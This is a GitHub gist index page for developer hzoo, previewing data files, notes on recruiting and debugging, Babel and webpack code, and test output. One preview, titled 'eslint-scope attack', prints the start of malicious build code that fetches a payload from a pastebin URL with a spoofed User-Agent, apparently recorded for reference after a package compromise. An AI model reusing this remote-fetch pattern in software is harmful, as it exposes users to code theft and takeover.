Skip to content

Instantly share code, notes, and snippets.

🌱
I'm outside!

Henry Zhu hzoo

🌱
I'm outside!
Block or report user

Report or block hzoo

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View rays2.txt
0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
View rays.txt
0 1 1 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 1 1 0 1 0 1 1 1 0 1 1 0 0
0 1 0 0 1 0 0 1 1 1 1 1 1 1 1 0 0 1 0 1 0 0 1 0 1 0 0 0 0 1 1 1 0 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 1 0 1 1
1 0 0 1 0 0 1 0 0 0 1 0 1 1 1 0 0 1 0 1 1 1 1 1 0 0 1 0 0 0 1 0 0 1 0
0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 0 1 1 0 1 0 1 0 1 1 0 0
0 0 1 0 0 1 1 1 1 1 1 1 0 1 1 0 1 0 0 1 0 0 0 1 0 1 1 0 0 0 0 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 0 1 0 0 0 1 0 1 1
0 1 0 0 1 0 0 0 0 0 1 0 1 1 0 0 1 0 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0
@hzoo
hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
View build.js
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@hzoo
hzoo / plan.md
Last active Jul 13, 2018
Recruiting emails + open source
View plan.md

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source
@hzoo
hzoo / unexpected.md
Created Aug 9, 2017
SyntaxError: unexpected token
View unexpected.md

Tips on debugging "SyntaxError: unexpected token"

This is almost impossible to write but might as well come up with some possibilities real quick.

It's an actual syntax error (typo, or just invalid syntax)!

Example:

function a() {
@hzoo
hzoo / diff
Last active Apr 7, 2017
preset-env vs core-js/shim
View diff
require("core-js/modules/es6.object.create");
require("core-js/modules/es6.object.define-property");
require("core-js/modules/es6.object.define-properties");
require("core-js/modules/es6.object.get-own-property-descriptor");
require("core-js/modules/es6.object.get-prototype-of");
require("core-js/modules/es6.object.keys");
require("core-js/modules/es6.object.get-own-property-names");
require("core-js/modules/es6.object.freeze");
require("core-js/modules/es6.object.seal");
@hzoo
hzoo / estree
Last active Feb 15, 2017
webpack tests
View estree
34 failing
1) ConfigTestCases extract-text issue-14 should compile:
Error: global leak detected: addresses
at Runner.checkGlobals (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:213:21)
at Runner.<anonymous> (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:76:10)
at emitOne (events.js:101:20)
at Runner.emit (events.js:188:7)
at /Users/hzhu/dev/webpack/node_modules/mocha/lib/runner.js:579:14
at done (/Users/hzhu/dev/webpack/node_modules/mocha/lib/runnable.js:295:5)
@hzoo
hzoo / data.txt
Created Dec 2, 2016
compat-table data
View data.txt
proper tail calls (tail call optimisation) / direct recursion
proper tail calls (tail call optimisation) / mutual recursion
default function parameters / basic functionality
default function parameters / explicit undefined defers to the default
default function parameters / defaults can refer to previous params
default function parameters / arguments object interaction
default function parameters / temporal dead zone
default function parameters / separate scope
default function parameters / new Function() support
rest parameters / basic functionality
@hzoo
hzoo / index.js
Created Nov 14, 2016
object-rest-spread
View index.js
"use strict";
exports.__esModule = true;
exports.default = function (_ref) {
var t = _ref.types;
function hasRestProperty(node) {
for (var _iterator = node.properties, _isArray = Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator : _iterator[Symbol.iterator]();;) {
var _ref2;
View callcheck.diff
--- /Users/hzhu/dev/babylon/lib/index.js (Selection)
+++ (clipboard)
@@ -124,7 +124,7 @@
return options;
}
-function _classCallCheck$2(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
// ## Token types
You can’t perform that action at this time.